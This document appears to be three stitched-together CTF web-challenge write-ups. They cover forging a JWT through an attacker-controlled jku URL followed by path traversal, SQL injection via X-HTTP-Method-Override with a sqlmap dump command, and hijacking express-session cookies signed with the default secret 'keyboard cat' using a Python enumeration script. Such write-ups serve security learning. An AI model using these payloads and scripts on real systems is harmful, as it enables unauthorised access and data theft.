TL;DR
Dont trust user suppplied data, don´t screw up your jwt validation.

Understanding the application

The Ino Filemanager lets us, after registration, upload files and make them publicly available.

After registering a user and logging in, we observed that we were issued a JSON Web Token (JWT).
The JWT will be stored in the local storage of the used browser and it will be transmitted with every request to the server.

{"Id":0,"Guid":"69a96f63-cc31-4a42-bcf8-03b3e9705428","Username":"SlaxXx","Password":null,"Token":"eyJhbGciOiJSUzI1NiIsImtpZCI6Imluc28yMCIsInR5cCI6IkpXVCIsImprdSI6Imh0dHBzOi8vZmlsZW1hbmFnZXIuaW5zb21uaWhhY2suY2gvandrLmpzb24ifQ.eyJ1bmlxdWVfbmFtZSI6IjY5YTk2ZjYzLWNjMzEtNGE0Mi1iY2Y4LTAzYjNlOTcwNTQyOCIsInJvbGUiOiJVc2VyIiwibmJmIjoxNTc5NjQ3MjQwLCJleHAiOjE1ODAyNTIwNDAsImlhdCI6MTU3OTY0NzI0MH0.aqEGHdNOaw-qcToTQkqdTvws2boYydo7wZVYJPWzjcvbEzWslsHUlyBD2yHdPj3iyPfc2p3KpTDfCRMRNoTjSyx7n6s-2N143fZ22EuD7kaSgGOuFbqs3SD0_Ot7LzVcwYJfVCUFiFC5Xw4gcwnuSraCp9x0gNtdEJCzDN5weMvH1qy6bBnm3wGDvfWBxXqho2hAqO5bOAqyBf_jZK0JKUvchQ62jEKMjcK97qBSfEY_RTAwVJYHvyspajvfbep9RWnW0rOqX22FsxHp0uJfK9WUiQFYGMl9Fal3I49qD4Cd42sLZ3ncD0IFepKDSxb5gGhf5fa3ZfPOmwOKTbKsPw","Role":"User"}

We decoded the JWT with the help of jwt.io.
For more informations about JSON Web Tokens visit JWT introduction or the offical RFC.
The decoded parts are as follows:

Header

{
  "alg": "RS256",
  "kid": "inso20",
  "typ": "JWT",
  "jku": "https://filemanager.insomnihack.ch/jwk.json"
}

"alg": "RS256": The algorithm used to sign the JWT is RSA256. The token is signed by a private key and validated against the corresponding public key.

"kid": "inso20": The id of the used key is inso20.

"typ": "JWT": This is a JSON Web Token... duh...

"jku": "https://filemanager.insomnihack.ch/jwk.json": The public key to validate the token signature can be found at https://filemanager.insomnihack.ch/jwk.json

Payload

{
  "unique_name": "69a96f63-cc31-4a42-bcf8-03b3e9705428",
  "role": "User",
  "nbf": 1579647240,
  "exp": 1580252040,
  "iat": 1579647240
}

"unique_name": "69a96f63-cc31-4a42-bcf8-03b3e9705428": This seems to be a unique id generated for the registered user by the application. This will be important later.

"role": "User": A role assigned to the registered user.

"nbf": 1579647240: The nbf (not before) claim identifies the time before which the JWT MUST NOT be accepted for processing.

"exp": 1580252040: The exp (expiration time) claim identifies the expiration time on or after which the JWT MUST NOT be accepted for processing

Signature

From the header section, we now know that the algorithm used to sign the JWT is RSA256 and the public certificate to validate the signature can be found at https://filemanager.insomnihack.ch/jwk.json.

Accessing the public reveals, that indeed the kid id is inso20.

{
  "kty": "RSA",
  "e": "AQAB",
  "alg": "RS256",
  "kid": "inso20",
  "n": "kE2FzXws8q2GnkNaQsQBIcSe0zZsxRe35V5rCXJRX9A1J5NCHoZiJS4LFDJW3n7Z5yNdntCKk9L7wYkOAxNiqPQHWuIk4Nyg3ZViZJLbO0fyx3eq-FSYhcfIePzD9Uz1ZgjBwavUi3ya8WoMv5ffG89OeTiVy7E1M-f7ykm205Nl11wrWXyyIWiyhchTl5baZzf3xLy-zn1s9yC2z13XOst-5pde4kfntIadYcdg9__VpYo6-k5sdpTlK7jPpKfUhfmRudgdf8Q37vLT5WlGFt-zh_D_QcNqc0heb4dhwgpgaqu-NJ7n6MJn6TDXes2qb-aLDFpwlJv9qULy7UdEDw"
}

We also see that the public key is in the JSON Web Key (JWK) format, informations regarding the JWK can be found in the offical RFC.

The file manager of course also has an upload function.

The upload will result in the http request below

POST /api/Files/Upload HTTP/1.1
Host: filemanager.insomnihack.ch
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Imluc28yMCIsInR5cCI6IkpXVCIsImprdSI6Imh0dHBzOi8vZmlsZW1hbmFnZXIuaW5zb21uaWhhY2suY2gvandrLmpzb24ifQ.eyJ1bmlxdWVfbmFtZSI6IjA4ZWZmMTdhLWNkOWYtNGVhZC04MjcxLTc3Y2VhN2QxZWM1YyIsInJvbGUiOiJVc2VyIiwibmJmIjoxNTc5NjQ5NzkzLCJleHAiOjE1ODAyNTQ1OTMsImlhdCI6MTU3OTY0OTc5M30.ZpZ8UX_UmW7_w4RgGIzIc2FiXtKdDPo-kUO-prQNnar_qRl1McIsbhV4lAvVSl7Fp48WXDdaMn7uqStFDAUQUo3psZX4mvoQ2tIxT7ealcbHQHg3HaM04Na6zaH-qFtlNRR5C1SryMdDiiZ-HECiA2dd87aDv3qDYFkw1h16AkO8I83CYkIuHoDWa6O8VQi8QB-3uqefZMNTnb9-NiYGmYqdsea_2wgP2lFEFp15eyqQy825Bw1QJK3nTJx1DlwZPF5ayzFnWOD2ADpkXH5ybT4Xi5lxXz7g_LoWCn_bg85vuXG05eDMWerU38j3pW9VBuVmyiWuU0PBJeLSbCJodg
Content-Type: application/json;charset=utf-8
...SNIP...

{"filename":"Sharkzwithlazers.pizza","content":"eW9sb1Bpenph"}

The previously received token is now transferred in the Authorization Header.
Filename and base64 encoded file content are transmitted in the json request body.
Once transmitted the server responses with a generated unique id.

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
...SNIP...

"7db3bf68-f007-445c-8f42-c3802ec39738"

Once uploaded we can click on the uploaded file to get the stored content, see screenshot below.

The click resultet in the http request below

GET /api/Files/GetFile/7db3bf68-f007-445c-8f42-c3802ec39738 HTTP/1.1
Host: filemanager.insomnihack.ch
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Imluc28yMCIsInR5cCI6IkpXVCIsImprdSI6Imh0dHBzOi8vZmlsZW1hbmFnZXIuaW5zb21uaWhhY2suY2gvandrLmpzb24ifQ.eyJ1bmlxdWVfbmFtZSI6IjA4ZWZmMTdhLWNkOWYtNGVhZC04MjcxLTc3Y2VhN2QxZWM1YyIsInJvbGUiOiJVc2VyIiwibmJmIjoxNTc5NjQ5NzkzLCJleHAiOjE1ODAyNTQ1OTMsImlhdCI6MTU3OTY0OTc5M30.ZpZ8UX_UmW7_w4RgGIzIc2FiXtKdDPo-kUO-prQNnar_qRl1McIsbhV4lAvVSl7Fp48WXDdaMn7uqStFDAUQUo3psZX4mvoQ2tIxT7ealcbHQHg3HaM04Na6zaH-qFtlNRR5C1SryMdDiiZ-HECiA2dd87aDv3qDYFkw1h16AkO8I83CYkIuHoDWa6O8VQi8QB-3uqefZMNTnb9-NiYGmYqdsea_2wgP2lFEFp15eyqQy825Bw1QJK3nTJx1DlwZPF5ayzFnWOD2ADpkXH5ybT4Xi5lxXz7g_LoWCn_bg85vuXG05eDMWerU38j3pW9VBuVmyiWuU0PBJeLSbCJodg
...SNIP...

The previously received id 7db3bf68-f007-445c-8f42-c3802ec39738 is now used to access the file content.

Besides uploading and viewing files it is also possible to make files publicly available.
After ticking the public checkbox a publicly available url is generated where everyone can access the uploaded file.

If we disect the public url .../api/files/public/7db3bf68-f007-445c-8f42-c3802ec39738/08eff17a-cd9f-4ead-8271-77cea7d1ec5c we can see that the first dynamic part 7db3bf68-f007-445c-8f42-c3802ec39738 is the generated file id and the second is the "unique_name": "69a96f63-cc31-4a42-bcf8-03b3e9705428" from our JWT.

Enough talking let`s get hacking.

Exploit

First, we noticed, that we can control the jku from the JWT.
If we entered another url, for example https://sharkzwithlazers.pizza the request will hang for a significant amount of time until it fails.
However we didn´t receive an http request on our server, our guess was that external communication was not possible.
But since we are able to publish files on the filemanager itself we can simply upload a JWK file there and publish it.
To create such a JWK file we used jwt.io to create a RS256 signet JWT token.
The site autogenerates private and public key for the created JWT.
The public key must be converted from the PEM format used by jwt.io to JWK format.
This is done by using this site.
To make the key id of the server and the JWT match, we had to add the keyid to the JWK.
The generated JWK can be seen below and also downloaded here:

{
    "kty": "RSA",
    "kid": "inso20",
    "n": "nzyis1ZjfNB0bBgKFMSvvkTtwlvBsaJq7S5wA-kzeVOVpVWwkWdVha4s38XM_pa_yr47av7-z3VTmvDRyAHcaT92whREFpLv9cj5lTeJSibyr_Mrm_YtjCZVWgaOYIhwrXwKLqPr_11inWsAkfIytvHWTxZYEcXLgAXFuUuaS3uF9gEiNQwzGTU1v0FqkqTBr4B8nW3HCN47XUu0t8Y0e-lf4s4OxQawWD79J9_5d3Ry0vbV3Am1FtGJiJvOwRsIfVChDpYStTcHTCMqtvWbV6L11BWkpzGXSW4Hv43qa-GSYOD2QU68Mb59oSk2OB-BtOLpJofmbGEGgvmwyCI9Mw",
    "e": "AQAB"
}

Next we saved the created JWK to a file and uploaded it to the filemanager and used the publish funtion to make it publicly available.
Once uploaded we changed jku to point to our uploaded JWK.

{
  "alg": "RS256",
  "kid": "inso20",
  "typ": "JWT",
  "jku": "https://filemanager.insomnihack.ch/api/files/public/d8715758-9adb-4d3b-8015-e4029ba43e7f/79a3696b-97f6-4132-9f82-ca1f42f34ff2"
}

Since the server is now checking the JWT against our JWK we can change it to our liking and sign it using the known private key.
We have done this using jwt.io, see screenshot below.

This means we can send any unique_name inside the JWT and the server will accept it. As far as we know, the unique_name is part of the file structure and will probably be the folder where our user's files are stored.
Next we tried accessing the web.config by issuing the below GetFile request.
We created a token where the unique_name is set to ..\\..\\..\\..\\inetpub\\wwwroot and the requested file to web.config.

GET /api/Files/GetFile/web.config HTTP/1.1
Host: filemanager.insomnihack.ch
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Imluc28yMCIsInR5cCI6IkpXVCIsImprdSI6Imh0dHBzOi8vZmlsZW1hbmFnZXIuaW5zb21uaWhhY2suY2gvYXBpL2ZpbGVzL3B1YmxpYy9kODcxNTc1OC05YWRiLTRkM2ItODAxNS1lNDAyOWJhNDNlN2YvNzlhMzY5NmItOTdmNi00MTMyLTlmODItY2ExZjQyZjM0ZmYyIn0.eyJ1bmlxdWVfbmFtZSI6Ii4uXFwuLlxcLi5cXC4uXFxpbmV0cHViXFx3d3dyb290Iiwicm9sZSI6IlVzZXIiLCJuYmYiOjE1Nzk2NDcyNDAsImV4cCI6MTU4MDI1MjA0MCwiaWF0IjoxNTc5NjQ3MjQwfQ.bxV1lHqgleVRCNH9XqEWKehR3ffI5gA3Woi3T4Dheihwfw3dRx6Ge_ewfdhRZJSHnxt4l9QEJiZqiEEz_dxlsJlePg1cdypX5bJdvxfvmvqo2LGlfFRkZr26CIdTZf4NWB4PJkPb82GcVLghh-_ugNxIxRTSp2oVKWiIoBLQJgEp27bjW-ZYMzXuV0QDmq5vQRKcwwVH5l2z0s7uHNCzSMye3B6D59Wb377RQEvWaEpfVgVAwffV6igXWjluQJFEcEd_3yv60bPMRiLykZB9LpUxqugAih3huuCZRfRsGvzTkVrST0sFJd0b5scQxRah9zduM3U7BfXov89TiP42jg
...SNIP...

With this request we were able to read the web.config which contained the flag.
Unfortunately I forgot to take screenshots or store the requests of the response so I´m not able to show you that it worked. *sad face intensivies*

Building upon part 1 of this challenge, we continue to gather useful insights
about how the target application works by using the enabled Symfony development tools. This time, we're using these
insights to hack our way into a database that's used by a backend service which we normally wouldn't be able to reach.

Via /_profiler/open?file=<FILE_PATH>, we can disclose the content of any file relative to the project's root.
This has been exploited in part 1 to identify the hidden /debug endpoint in src/Controller/MainController.php:

MainController's primary function though, is to display request logs. Users are supposed to request the page
with the same HTTP method they're wishing to see the logs for:

Looking at the code, we noticed that the page actually calls an external API at 10.0.142.5. The method to fetch logs
for is determined by calling $request-getMethod(), where $request is an instance of Symfony's Request class.
The documentation of Request#getMethod turned out to be quite helpful:

If the X-HTTP-Method-Override header is set, and if the method is a POST,
then it is used to determine the "real" intended HTTP method.

We couldn't tamper with our request's actual method, as the server would only process valid HTTP methods.
Using X-HTTP-Method-Override however, we were able to call the API at 10.0.142.5 with arbitrary method values.
This was trivially validated by POSTing against /e48e13207341b6bffb7fb1622282247b, providing the additional header X-HTTP-Method-Override: PUT:

Our first reflex was to test for SQL injection, which turned out to be the right choice. Providing the value PUT' or 1=1; -- resulted in all log entries being displayed:

We ended up exploiting this as a blind boolean based SQLi, where responses with the log entry ID 15
(the ID of one of the PUT log entries) would be considered true. sqlmap did the remaining work for us:

$ podman run --rm -it paoloo/sqlmap \
    --url="http://logs_in.sharkyctf.xyz/e48e13207341b6bffb7fb1622282247b" \
    --method="POST" --headers="X-HTTP-Method-Override:PUT*" --dbms=mysql \
    --technique=B --string="<td>15</td>" --suffix="; -- " --tamper="charencode" \
    --dump --flush-session

It took us a while to notice that sqlmap wouldn't URL encode the payloads, which is why adding
--tamper="charencode" was necessary. The flag was located in the db.it_seems_secret table:

Database: db
Table: it_seems_secret
[1 entry]
+----+--------------------------------------------------------------------------------------------+
| id | flag                                                                                       |
+----+--------------------------------------------------------------------------------------------+
| 1  | shkCTF{CVE-2019-10913_S33m3D_Bulls5H1T_B3F0R3_TH15_Ch4LL_69e28c7b0004fe05b05800596e64343b} |
+----+--------------------------------------------------------------------------------------------+

TL;DR
Reusing example configurations is bad.

Secretus was a pure Web challenge which presented us with a minimal form.

The form did actually have no purpose as there were no handlers executed upon clicking the button or
doing anything else, such as making a handstand while looking at the form. So after searching for
a quite embarassing time for the secret feature of the button or how to fix the broken form, we figured out that there were to
more endpoints from interest: /secret and /debug.

Visiting /secret presents us with the following error message: {"error":"INVALID_API_KEY"}.
First, we only googled for the error message itself or parts of it
and did therefore not find the correct example page with the used code.
So some time went by with the first page, again... before looking for the complete json message
with the exposed framkework (X-Powered-By: Express header) in google, to find the
following page: express-authentication.

The example code on this page returns the same value as our page, and the following part is from interest
for authentication:

req.challenge = req.get('Authorization');
req.authenticated = req.authentication === 'secret';

So, if we set the header Authorization: secret we should be able to visit the /secret endpoint:

Voila, we found the needed header to visit the page. The /secret endpoint presents us with kinda the same
form as the index page, but now we are able to insert at least 3 secrets which will be shown on the page.
Interesting in this step to notice is the cookie, which is set to map the secrets to a session: connect.sid.
This means, that there could be a session which has a secret we need to steal.

But how do we find other valid sessions? There was another endpoint: /debug which we kinda ignored until now, because
it only redirected us to the home page. But if we use the Authorization header on this endpoint, we get the following:

If we compare the returned list values against our session connect.sid=s:LRTM70yfO-cQ4ikmDBZoLa_WwSnX82te.CsRwKt7H4uL4nGe4fH/0ATRfclH9E5GhhZxVB1ufa5k;, we can see that
the first part (after s: and before the first dot) is also present in the list from the /debug endpoint: LRTM70yfO-cQ4ikmDBZoLa_WwSnX82te.json.
So we got the first part of the cookie and the second part is probably some kind of signature to verify the validity of the cookie.
This time, we google for the cookie name (connect.sid) to find: express-session which again
pretty much looks exactly like what we got as response from secretus. Looking through the code, searching with the github search
for the "sign" function reveals the following code to set the cookie:

function setcookie(res, name, val, secret, options) {
  var signed = 's:' + signature.sign(val, secret);
  var data = cookie.serialize(name, signed, options);

  debug('set-cookie %s', data);

  var prev = res.getHeader('Set-Cookie') || []
  var header = Array.isArray(prev) ? prev.concat(data) : [prev, data];

  res.setHeader('Set-Cookie', header)
}

Interesting for us is the second part, in which the signature is created. This once again looks exactly like what we got (the "s:"
in front with the value and the signature). But where do we find the variable value secret for the signature? And here the "theme" of
the challenge came through, using default values. The README gile in the repository has the following example giving us the secret keboard cat:

var app = express()
app.set('trust proxy', 1) // trust first proxy
app.use(session({
  secret: 'keyboard cat',
  resave: false,
  saveUninitialized: true,
  cookie: { secure: true }
}))

With the help of the original code, we build our own function reusing the frameworks for simplicity:

var express = require('express');
var app = express();
var signature = require('cookie-signature')

app.get('/', function(req, res){
	console.log(req.query.yay);
	var x = 's:' + signature.sign(req.query.yay, "keyboard cat");
	res.send(x);
});

app.listen(3000);

This will start us an express service which expects the parameter yay on a request and uses it as value for the signature.
Afterwards the complete cookie value is returned, signed and ready to use. We test it with our original session which should
return s:LRTM70yfO-cQ4ikmDBZoLa_WwSnX82te.CsRwKt7H4uL4nGe4fH/0ATRfclH9E5GhhZxVB1ufa5k if LRTM70yfO-cQ4ikmDBZoLa_WwSnX82te is given:

~ curl "127.0.0.1:3000/?yay=LRTM70yfO-cQ4ikmDBZoLa_WwSnX82te"
s:LRTM70yfO-cQ4ikmDBZoLa_WwSnX82te.CsRwKt7H4uL4nGe4fH/0ATRfclH9E5GhhZxVB1ufa5k

Now we can forge all existing sessions with the following steps:

1. Visit /debug and extract the list of all sessions.
2. Create valid session cookies for each extracted session.
3. Visit the /secret endpoint with each session cookie.
4. Look for interesting stored secrets, such as the flag.

We did these steps in Python as shown in the following:

#!/usr/bin/env python3
import requests
from lxml import html

headers = {'Authorization': 'secret'}
url = "http://secretus.insomnihack.ch"

# Request the debug endpoint to retrieve all sessions
r = requests.get(f"{url}/debug", headers=headers)

# Parse sessions out of html and strip the .json in the end
# using list comprehension. List comprehension is awesome!
tree = html.fromstring(r.text)
all_sessions = [os.path.splitext(s)[0] for s in tree.xpath('//li/text()')]

# Iterate over each session value
for session in all_sessions:
		# Retrieve the full session cookie, querying our own express session service
		cookie_request = requests.get(f"http://127.0.0.1:3000/?yay={session}")

		# Set the retrieved cookie
		cookies = {"connect.sid": cookie_request.text}

		# Request the secret endpoint with our currently forges session
		get_secrets = requests.get(f"{url}/secret", headers=headers, cookies=cookies, proxies={"http": "http://127.0.0.1:8080"})

		# Extract and print all secrets from current session
		tree = html.fromstring(get_secrets.text)
		secrets = tree.xpath('//li/text()')
		if secrets:
			print(secrets)

The script in its full action: